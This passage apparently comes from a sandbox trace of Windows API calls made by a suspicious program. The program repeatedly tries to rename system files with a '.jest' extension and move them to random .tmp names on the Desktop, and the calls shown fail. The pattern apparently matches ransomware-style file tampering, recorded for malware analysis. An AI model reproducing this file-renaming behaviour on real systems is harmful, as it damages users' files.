ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 0x143ce48 [0145.529] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.530] VarBstrFromR4 (in: fltIn=0x47944da6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.3") returned 0x0 [0145.530] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.530] CoFreeUnusedLibraries () [0145.530] GetTickCount () returned 0x1156346 [0145.530] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.530] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.530] GetTickCount () returned 0x1156346 [0145.530] IsWindowVisible (hWnd=0x30268) returned 0 [0145.530] Sleep (dwMilliseconds=0x0) [0145.531] GetFullPathNameA (in: lpFileName="8Pqj5U3qq_oivUy_-mfqP om-RwYX6EO0V42fSSWvEBZuz8ksLBTCEW94Z-2LKH5SH0Is5XgkUp7rI53y0ykXlhGwdE8gEFbEou.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Pqj5U3qq_oivUy_-mfqP om-RwYX6EO0V42fSSWvEBZuz8ksLBTCEW94Z-2LKH5SH0Is5XgkUp7rI53y0ykXlhGwdE8gEFbEou.tmp", lpFilePart=0x18e708*="8Pqj5U3qq_oivUy_-mfqP om-RwYX6EO0V42fSSWvEBZuz8ksLBTCEW94Z-2LKH5SH0Is5XgkUp7rI53y0ykXlhGwdE8gEFbEou.tmp") returned 0x8d [0145.531] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml", lpFilePart=0x18e708*="ipssrb.xml") returned 0x3d [0145.531] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Pqj5U3qq_oivUy_-mfqP om-RwYX6EO0V42fSSWvEBZuz8ksLBTCEW94Z-2LKH5SH0Is5XgkUp7rI53y0ykXlhGwdE8gEFbEou.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8pqj5u3qq_oivuy_-mfqp om-rwyx6eo0v42fsswvebzuz8kslbtcew94z-2lkh5sh0is5xgkup7ri53y0ykxlhgwde8gefbeou.tmp")) returned 0 [0145.531] GetLastError () returned 0x5 [0145.531] GetLastError () returned 0x5 [0145.531] SetLastError (dwErrCode=0x5) [0145.532] GetLastError () returned 0x5 [0145.532] SetLastError (dwErrCode=0x5) [0145.532] GetLastError () returned 0x5 [0145.532] SetLastError (dwErrCode=0x5) [0145.532] GetFullPathNameA (in: lpFileName="8Pqj5U3qq_oivUy_-mfqP om-RwYX6EO0V42fSSWvEBZuz8ksLBTCEW94Z-2LKH5SH0Is5XgkUp7rI53y0ykXlhGwdE8gEFbEou.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Pqj5U3qq_oivUy_-mfqP om-RwYX6EO0V42fSSWvEBZuz8ksLBTCEW94Z-2LKH5SH0Is5XgkUp7rI53y0ykXlhGwdE8gEFbEou.tmp", lpFilePart=0x18e6e4*="8Pqj5U3qq_oivUy_-mfqP om-RwYX6EO0V42fSSWvEBZuz8ksLBTCEW94Z-2LKH5SH0Is5XgkUp7rI53y0ykXlhGwdE8gEFbEou.tmp") returned 0x8d [0145.532] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8Pqj5U3qq_oivUy_-mfqP om-RwYX6EO0V42fSSWvEBZuz8ksLBTCEW94Z-2LKH5SH0Is5XgkUp7rI53y0ykXlhGwdE8gEFbEou.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6a715038, cFileName="5U3qq_oivUy_-mfqP om-RwYX6EO0V42fSSWvEBZuz8ksLBTCEW94Z-2LKH5SH0Is5XgkUp7rI53y0ykXlhGwdE8gEFbEou.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.532] GetLastError () returned 0x2 [0145.532] GetLastError () returned 0x2 [0145.532] SetLastError (dwErrCode=0x2) [0145.532] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.532] CoFreeUnusedLibraries () [0145.532] GetTickCount () returned 0x1156346 [0145.532] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.533] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.533] GetTickCount () returned 0x1156346 [0145.533] IsWindowVisible (hWnd=0x30268) returned 0 [0145.533] Sleep (dwMilliseconds=0x0) [0145.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.jest")) returned 0 [0145.534] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpFilePart=0x18e6d8*="ipssrl.xml") returned 0x3d [0145.534] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 0x143ce48 [0145.534] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.535] VarBstrFromR4 (in: fltIn=0x47944da6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.3") returned 0x0 [0145.535] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.535] CoFreeUnusedLibraries () [0145.535] GetTickCount () returned 0x1156346 [0145.535] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.535] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.535] GetTickCount () returned 0x1156346 [0145.535] IsWindowVisible (hWnd=0x30268) returned 0 [0145.535] Sleep (dwMilliseconds=0x0) [0145.535] GetFullPathNameA (in: lpFileName=" VyMUzajc3E83-kwR57lLUdRMBOeCPqb43OJRwzV5KvMx1yhQ5dV68_V1Wn5SgshCBpI7BaaO m-jahCdipNbTrquXPIUDEKRTlqy.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ VyMUzajc3E83-kwR57lLUdRMBOeCPqb43OJRwzV5KvMx1yhQ5dV68_V1Wn5SgshCBpI7BaaO m-jahCdipNbTrquXPIUDEKRTlqy.tmp", lpFilePart=0x18e708*=" VyMUzajc3E83-kwR57lLUdRMBOeCPqb43OJRwzV5KvMx1yhQ5dV68_V1Wn5SgshCBpI7BaaO m-jahCdipNbTrquXPIUDEKRTlqy.tmp") returned 0x8f [0145.536] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpFilePart=0x18e708*="ipssrl.xml") returned 0x3d [0145.536] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ VyMUzajc3E83-kwR57lLUdRMBOeCPqb43OJRwzV5KvMx1yhQ5dV68_V1Wn5SgshCBpI7BaaO m-jahCdipNbTrquXPIUDEKRTlqy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ vymuzajc3e83-kwr57lludrmboecpqb43ojrwzv5kvmx1yhq5dv68_v1wn5sgshcbpi7baao m-jahcdipnbtrquxpiudekrtlqy.tmp")) returned 0 [0145.536] GetLastError () returned 0x5 [0145.536] GetLastError () returned 0x5 [0145.536] SetLastError (dwErrCode=0x5) [0145.536] GetLastError () returned 0x5 [0145.536] SetLastError (dwErrCode=0x5) [0145.536] GetLastError () returned 0x5 [0145.536] SetLastError (dwErrCode=0x5) [0145.536] GetFullPathNameA (in: lpFileName=" VyMUzajc3E83-kwR57lLUdRMBOeCPqb43OJRwzV5KvMx1yhQ5dV68_V1Wn5SgshCBpI7BaaO m-jahCdipNbTrquXPIUDEKRTlqy.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ VyMUzajc3E83-kwR57lLUdRMBOeCPqb43OJRwzV5KvMx1yhQ5dV68_V1Wn5SgshCBpI7BaaO m-jahCdipNbTrquXPIUDEKRTlqy.tmp", lpFilePart=0x18e6e4*=" VyMUzajc3E83-kwR57lLUdRMBOeCPqb43OJRwzV5KvMx1yhQ5dV68_V1Wn5SgshCBpI7BaaO m-jahCdipNbTrquXPIUDEKRTlqy.tmp") returned 0x8f [0145.536] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ VyMUzajc3E83-kwR57lLUdRMBOeCPqb43OJRwzV5KvMx1yhQ5dV68_V1Wn5SgshCBpI7BaaO m-jahCdipNbTrquXPIUDEKRTlqy.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4d795620, cFileName="Uzajc3E83-kwR57lLUdRMBOeCPqb43OJRwzV5KvMx1yhQ5dV68_V1Wn5SgshCBpI7BaaO m-jahCdipNbTrquXPIUDEKRTlqy.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.536] GetLastError () returned 0x2 [0145.536] GetLastError () returned 0x2 [0145.537] SetLastError (dwErrCode=0x2) [0145.537] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.537] CoFreeUnusedLibraries () [0145.537] GetTickCount () returned 0x1156346 [0145.537] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.537] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.537] GetTickCount () returned 0x1156346 [0145.537] IsWindowVisible (hWnd=0x30268) returned 0 [0145.537] Sleep (dwMilliseconds=0x0) [0145.538] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.jest")) returned 0 [0145.538] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpFilePart=0x18e6d8*="ipssve.xml") returned 0x3d [0145.538] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 0x143ce48 [0145.538] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436ab4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.539] VarBstrFromR4 (in: fltIn=0x47944da6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.3") returned 0x0 [0145.539] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.539] CoFreeUnusedLibraries () [0145.539] GetTickCount () returned 0x1156346 [0145.539] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.539] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.539] GetTickCount () returned 0x1156346 [0145.540] IsWindowVisible (hWnd=0x30268) returned 0 [0145.540] Sleep (dwMilliseconds=0x0) [0145.540] GetFullPathNameA (in: lpFileName="8TqGgu yujt3SjZJC4WzXpZIlVIDAOsV64MEO 4Db6vvHh6BTMLfwo7Jr6RQdjYAKQbmBLE3egy5QkwxKDdcr_98sMPZDSiX-r.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8TqGgu yujt3SjZJC4WzXpZIlVIDAOsV64MEO 4Db6vvHh6BTMLfwo7Jr6RQdjYAKQbmBLE3egy5QkwxKDdcr_98sMPZDSiX-r.tmp", lpFilePart=0x18e708*="8TqGgu yujt3SjZJC4WzXpZIlVIDAOsV64MEO 4Db6vvHh6BTMLfwo7Jr6RQdjYAKQbmBLE3egy5QkwxKDdcr_98sMPZDSiX-r.tmp") returned 0x8c [0145.540] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpFilePart=0x18e708*="ipssve.xml") returned 0x3d [0145.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8TqGgu yujt3SjZJC4WzXpZIlVIDAOsV64MEO 4Db6vvHh6BTMLfwo7Jr6RQdjYAKQbmBLE3egy5QkwxKDdcr_98sMPZDSiX-r.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8tqggu yujt3sjzjc4wzxpzilvidaosv64meo 4db6vvhh6btmlfwo7jr6rqdjyakqbmble3egy5qkwxkddcr_98smpzdsix-r.tmp")) returned 0 [0145.541] GetLastError () returned 0x5 [0145.541] GetLastError () returned 0x5 [0145.541] SetLastError (dwErrCode=0x5) [0145.541] GetLastError () returned 0x5 [0145.541] SetLastError (dwErrCode=0x5) [0145.541] GetLastError () returned 0x5 [0145.541] SetLastError (dwErrCode=0x5) [0145.541] GetFullPathNameA (in: lpFileName="8TqGgu yujt3SjZJC4WzXpZIlVIDAOsV64MEO 4Db6vvHh6BTMLfwo7Jr6RQdjYAKQbmBLE3egy5QkwxKDdcr_98sMPZDSiX-r.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8TqGgu yujt3SjZJC4WzXpZIlVIDAOsV64MEO 4Db6vvHh6BTMLfwo7Jr6RQdjYAKQbmBLE3egy5QkwxKDdcr_98sMPZDSiX-r.tmp", lpFilePart=0x18e6e4*="8TqGgu yujt3SjZJC4WzXpZIlVIDAOsV64MEO 4Db6vvHh6BTMLfwo7Jr6RQdjYAKQbmBLE3egy5QkwxKDdcr_98sMPZDSiX-r.tmp") returned 0x8c [0145.541] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8TqGgu yujt3SjZJC4WzXpZIlVIDAOsV64MEO 4Db6vvHh6BTMLfwo7Jr6RQdjYAKQbmBLE3egy5QkwxKDdcr_98sMPZDSiX-r.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x47715438, cFileName="gu yujt3SjZJC4WzXpZIlVIDAOsV64MEO 4Db6vvHh6BTMLfwo7Jr6RQdjYAKQbmBLE3egy5QkwxKDdcr_98sMPZDSiX-r.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.541] GetLastError () returned 0x2 [0145.541] GetLastError () returned 0x2 [0145.542] SetLastError (dwErrCode=0x2) [0145.548] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.548] CoFreeUnusedLibraries () [0145.548] GetTickCount () returned 0x1156355 [0145.548] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.548] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.548] GetTickCount () returned 0x1156355 [0145.548] IsWindowVisible (hWnd=0x30268) returned 0 [0145.548] Sleep (dwMilliseconds=0x0) [0145.548] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.jest")) returned 0 [0145.549] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpFilePart=0x18e6d8*="Monet.jpg") returned 0x43 [0145.549] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x57, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 0x143ce48 [0145.549] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.550] VarBstrFromR4 (in: fltIn=0x47944da8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.31") returned 0x0 [0145.550] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.550] CoFreeUnusedLibraries () [0145.550] GetTickCount () returned 0x1156355 [0145.550] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.550] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.550] GetTickCount () returned 0x1156355 [0145.550] IsWindowVisible (hWnd=0x30268) returned 0 [0145.550] Sleep (dwMilliseconds=0x0) [0145.550] GetFullPathNameA (in: lpFileName="rH0qZ djrPPDP7CUGI9rDk3yiXJa5k5F0QFcNIic-fRGZVhfw-e9rs15TruuMlDWKJRorhUX2GIY39T1J6PCVHhN9t3kcwfTFlS8V.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rH0qZ djrPPDP7CUGI9rDk3yiXJa5k5F0QFcNIic-fRGZVhfw-e9rs15TruuMlDWKJRorhUX2GIY39T1J6PCVHhN9t3kcwfTFlS8V.tmp", lpFilePart=0x18e708*="rH0qZ djrPPDP7CUGI9rDk3yiXJa5k5F0QFcNIic-fRGZVhfw-e9rs15TruuMlDWKJRorhUX2GIY39T1J6PCVHhN9t3kcwfTFlS8V.tmp") returned 0x8f [0145.551] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpFilePart=0x18e708*="Monet.jpg") returned 0x43 [0145.551] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rH0qZ djrPPDP7CUGI9rDk3yiXJa5k5F0QFcNIic-fRGZVhfw-e9rs15TruuMlDWKJRorhUX2GIY39T1J6PCVHhN9t3kcwfTFlS8V.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rh0qz djrppdp7cugi9rdk3yixja5k5f0qfcniic-frgzvhfw-e9rs15truumldwkjrorhux2giy39t1j6pcvhhn9t3kcwftfls8v.tmp")) returned 0 [0145.551] GetLastError () returned 0x5 [0145.551] GetLastError () returned 0x5 [0145.551] SetLastError (dwErrCode=0x5) [0145.551] GetLastError () returned 0x5 [0145.551] SetLastError (dwErrCode=0x5) [0145.551] GetLastError () returned 0x5 [0145.551] SetLastError (dwErrCode=0x5) [0145.551] GetFullPathNameA (in: lpFileName="rH0qZ djrPPDP7CUGI9rDk3yiXJa5k5F0QFcNIic-fRGZVhfw-e9rs15TruuMlDWKJRorhUX2GIY39T1J6PCVHhN9t3kcwfTFlS8V.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rH0qZ djrPPDP7CUGI9rDk3yiXJa5k5F0QFcNIic-fRGZVhfw-e9rs15TruuMlDWKJRorhUX2GIY39T1J6PCVHhN9t3kcwfTFlS8V.tmp", lpFilePart=0x18e6e4*="rH0qZ djrPPDP7CUGI9rDk3yiXJa5k5F0QFcNIic-fRGZVhfw-e9rs15TruuMlDWKJRorhUX2GIY39T1J6PCVHhN9t3kcwfTFlS8V.tmp") returned 0x8f [0145.551] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rH0qZ djrPPDP7CUGI9rDk3yiXJa5k5F0QFcNIic-fRGZVhfw-e9rs15TruuMlDWKJRorhUX2GIY39T1J6PCVHhN9t3kcwfTFlS8V.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x71304872, cFileName="Z djrPPDP7CUGI9rDk3yiXJa5k5F0QFcNIic-fRGZVhfw-e9rs15TruuMlDWKJRorhUX2GIY39T1J6PCVHhN9t3kcwfTFlS8V.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.552] GetLastError () returned 0x2 [0145.552] GetLastError () returned 0x2 [0145.552] SetLastError (dwErrCode=0x2) [0145.552] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.553] CoFreeUnusedLibraries () [0145.553] GetTickCount () returned 0x1156355 [0145.553] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.553] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.553] GetTickCount () returned 0x1156355 [0145.553] IsWindowVisible (hWnd=0x30268) returned 0 [0145.553] Sleep (dwMilliseconds=0x0) [0145.553] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft 